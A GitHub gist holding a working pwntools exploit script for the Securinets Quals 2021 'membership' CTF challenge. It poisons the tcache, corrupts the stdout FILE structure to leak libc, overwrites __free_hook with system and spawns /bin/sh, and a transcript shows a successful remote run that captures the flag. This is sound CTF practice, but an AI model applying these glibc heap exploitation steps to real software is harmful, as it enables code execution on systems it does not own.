Skip to content

Instantly share code, notes, and snippets.

@hugsy
Last active March 25, 2021 23:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hugsy/3dd1b6d4a277e51fc3bd952fca59ae6f to your computer and use it in GitHub Desktop.
Save hugsy/3dd1b6d4a277e51fc3bd952fca59ae6f to your computer and use it in GitHub Desktop.
securinet - membership
#!/usr/bin/env python3.9
"""
membership - securinets quals 2021
@_hugsy_
$ ./xp.py remote
[*] '/home/hugsy/ctf/securinets_quals_2021/membership/membership'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/hugsy/ctf/securinets_quals_2021/membership/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to bin.q21.ctfsecurinets.com on port 1339: Done
[*] leaking the libc...
[*] 00000000 80 29 34 ba 4b 7f 00 00 01 00 00 00 00 00 00 00 │·)4·│K···│····│····│
00000010 ff ff ff ff ff ff ff ff 00 00 00 31 20 2d 20 73 │····│····│···1│ - s│
00000020 75 62 73 63 72 69 62 65 0a │ubsc│ribe│·│
00000029
[+] leak = 7f4bba342980
[+] libc = 7f4bba157000
[+] __free_hook = 7f4bba345b28
[+] system = 7f4bba1ac410
[*] overwrite free hook
[*] free chunk to trigger system
[+] enjoy!!!
[*] Switching to interactive mode
$ cat flag
flag{welcome_you_are_now_one_of_us_4d2d08c6994188b642a854194916fbbc}
"""
import os
from pwn import *
# context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["tmux", "split-window", "-v", "-p 75"]
LOCAL = True
elf = ELF(os.path.realpath("./membership"))
libc = ELF(os.path.realpath("./libc-2.31.so"))
def attach(r):
if LOCAL:
bkps = [
# elf.symbols["main"],
]
cmds = [
"heap-analysis-helper",
# "bp * $_base() + 0x1337",
"bp system",
"continue",
]
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds))
return
def subscribe(r):
r.sendlineafter(b"4 - exit(0)\n>", str(1))
r.recvuntil(b"Done\n")
def unsubscribe(r, idx, final=False):
r.sendlineafter(b"4 - exit(0)\n>", str(2))
r.sendlineafter(b"Index: ", str(idx))
if not final:
r.recvuntil(b"Done\n")
def edit(r, idx, content):
r.sendlineafter(b"4 - exit(0)\n>", str(3))
r.sendlineafter(b"Index: ", str(idx))
r.sendafter(b"Content: ", content)
def exploit(r):
info(f"leaking the libc...")
# do some allocations = subscriptions
for _ in range(15):
subscribe(r)
# # we want to corrupt the tcache to make malloc return inside a chunk
unsubscribe(r, 0)
unsubscribe(r, 1)
# # the initial fd contains 0xXXXXXXXa0, we offset this value slightly so we can land
# # inside the chunk and edit the header of the next via a partial overwrite
edit(r, 1, p8(0xa0 + 0x40))
subscribe(r) # 0
subscribe(r) # 1
# now chunks[1] can be used to overwrite chunks[2] header
# and overwrite chunks[2] header without PREV_INUSE and a large size (11 * (0x50+0x10) | 1)=0x421
edit(r, 1, p64(0)*3+p64(0x421))
# chunks[1].header has PREV_INUSE, we can free chunks[0] again
# this will:
# 1. free chunk[0], moving it to the front of tcachebin
# 2. consolidate by moving chunk[2] to the unsorted bin, and so leaking the libc pointers
unsubscribe(r, 0)
# the unsorted bin address in the libc is near very _IO_2_1_stdout_
# 0:000 ➤ dq 0x0000555555559300 2
# 0x0000555555559300│+0x0000 0x00007ffff7fc2be0
# 0x0000555555559308│+0x0008 0x00007ffff7fc2be0
# 0:000 ➤ dq &_IO_2_1_stdout_ l1
# 0x7ffff7fc36a0 <_IO_2_1_stdout_>: 0x00000000fbad2887
# here tcache is empty, unsorted is not: we allocate a few subscriptions
# this will fragment the big unsorted bin chunk
subscribe(r)
subscribe(r) # 15
subscribe(r) # 16
# free some chunks part of the big chunk (will end up in tcache)
unsubscribe(r, 7)
unsubscribe(r, 8)
unsubscribe(r, 16)
unsubscribe(r, 15)
# corrupt the tcache to make malloc() land in stdout
# now the tcache has an entry that points to libc stdout struct
edit(r, 15, p8(0x00))
edit(r, 0, p16(0x36a0))
# allocate enough subscription to dereference the list and make
# malloc return inside the libc
subscribe(r)
subscribe(r)
subscribe(r) # chunks[16] is in libc
# 0:000 ➤ dq $_base()+0x40c0
# [...]
# 0x0000555555558128│+0x0068 0x0000555555559780
# 0x0000555555558130│+0x0070 0x00005555555597e0
# 0x0000555555558138│+0x0078 0x00007ffff7fc36a0
# success !
# and corrupt the FILE* structure to leak the libc
edit(r, 15, p64(0xfbad1800)+p64(0)*3+p8(8))
leak = r.recvline()
info(hexdump(leak))
if LOCAL:
libc_leak = u64(leak[8:16])
else:
libc_leak = u64(leak[0:8])
libc.address = libc_leak - 1862016
libc.address = libc_leak - 2013568
success(f"leak = {libc_leak:x}")
success(f"libc = {libc.address:x}")
success(f"__free_hook = {libc.sym['__free_hook']:x}")
success(f"system = {libc.sym['system']:x}")
# and the rest is trivial :)
info(f"overwrite free hook")
unsubscribe(r, 12)
unsubscribe(r, 11)
edit(r, 11, p64(libc.sym['__free_hook']))
subscribe(r)
subscribe(r)
edit(r, 12, p64(libc.sym['system']))
edit(r, 11, b"/bin/sh\0")
info("free chunk to trigger system")
unsubscribe(r, 11, final=True)
success("enjoy!!!")
r.interactive()
return 0
if __name__ == "__main__":
if len(sys.argv)>=2:
LOCAL = False
r = remote("bin.q21.ctfsecurinets.com", 1339)
else:
r = process([elf.path, ], env={"LD_PRELOAD": libc.path})
attach(r)
exit(exploit(r))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment